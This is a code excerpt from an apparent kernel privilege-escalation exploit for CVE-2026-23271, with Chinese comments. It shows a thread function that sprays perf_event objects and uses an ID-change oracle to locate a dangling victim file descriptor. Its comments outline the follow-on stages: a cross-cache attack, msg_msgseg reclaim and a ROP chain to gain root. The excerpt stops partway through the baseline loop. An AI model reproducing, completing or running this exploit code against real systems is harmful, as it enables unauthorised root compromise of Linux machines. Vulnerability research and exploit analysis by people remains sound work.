Function locate_victim_event

CVE-2026-23271/exploit/exploit.cpp:2417–2577

[3] T5 Locator 线程 (CPU 0): 受害者识别 + 跨缓存攻击编排 步骤: [阶段 4] 受害者定位 (ID Oracle): 1. 通过 sync_pipe 等待 Sprayer 完成 2. 建立 spray_b 基线 (记录每个事件 B 的原始 ID) 3. 逐次分配事件 C (probe),每次分配后重新读取所有事件 B 的 ID 4. 如果事件 B 的 ID 发生变化 → 该事件 B 被覆盖 = 受害者 (悬垂 FD) [阶段 5+6] 跨缓存攻击 + ROP 提权: 5. 调用 cross_cache_attack() → 释放 slab, msg_msgseg reclaim, ROP

//   [阶段 5+6] 跨缓存攻击 + ROP 提权:
//     5. 调用 cross_cache_attack() → 释放 slab, msg_msgseg reclaim, ROP
void *locate_victim_event(void *arg)
{
    bind_to_cpu(0);

    // 用于创建探测事件 C 的属性 (软件 PERF_COUNT_SW_CPU_CLOCK)
    struct perf_event_attr spray_attr;
    memset(&spray_attr, 0, sizeof(spray_attr));
    spray_attr.type = PERF_TYPE_SOFTWARE;
    spray_attr.size = sizeof(struct perf_event_attr);
    spray_attr.config = PERF_COUNT_SW_CPU_CLOCK;
    spray_attr.disabled = 1;
    spray_attr.exclude_kernel = 1;

    for(int i = 0; i < SPRAY_C_COUNT; i++) {
        spray_c_fds[i] = -1;
    }

    // 阻塞等待 Sprayer 线程完成信号
    char sync;
    if (read(sync_pipe[0], &sync, 1) < 0) {
        log_warn("read sync_pipe failed");
        exit_threads = 1;
        stop_threads = 1;
        __atomic_store_n(&tp_fail_reason, TP_FAIL_WARN_MISS, __ATOMIC_RELEASE);
        return NULL;
    }
    if (sync != 'C') {
        log_warn("[Main] WARN not hit, skip spray/locate flow");    // ????? 竞争失败点
        exit_threads = 1;
        stop_threads = 1;
        __atomic_store_n(&tp_fail_reason, TP_FAIL_WARN_MISS, __ATOMIC_RELEASE);
        return NULL;
    }
    __atomic_store_n(&tp_warn_hit, 1, __ATOMIC_RELEASE);
    __atomic_store_n(&tp_race_success, 1, __ATOMIC_RELEASE);

    // 等待所有 spray_b 线程完成分配
    log_dbg("[3] Waiting for spray_b completion...");
    {
        uint64_t spray_wait_start = get_time_ns();
        while (__atomic_load_n(&tp_spray_open_done, __ATOMIC_ACQUIRE) < SPRAY_B_COUNT &&
               (get_time_ns() - spray_wait_start) < TP_SPRAY_DONE_WAIT_NS) {
            usleep(1000);
        }
        log_dbg("[3] spray_b done: %d/%d", __atomic_load_n(&tp_spray_open_done, __ATOMIC_ACQUIRE), SPRAY_B_COUNT);
    }

    // ---- ID 基线建立 ----
// [3-1] 对所有 spray_b 事件,通过 ioctl(PERF_EVENT_IOC_ID) 记录其原始 ID （读取 `event->id`）
    memset(spray_b_id_valid, 0, sizeof(spray_b_id_valid));
    {
        int valid_ids = 0;
        uint64_t start_ns = get_time_ns();

        while (valid_ids < TP_BASELINE_MIN_VALID_IDS &&
               (get_time_ns() - start_ns) < TP_BASELINE_WAIT_NS) {
            for (int i = 0; i < SPRAY_B_COUNT; i++) {
                uint64_t id_val = 0;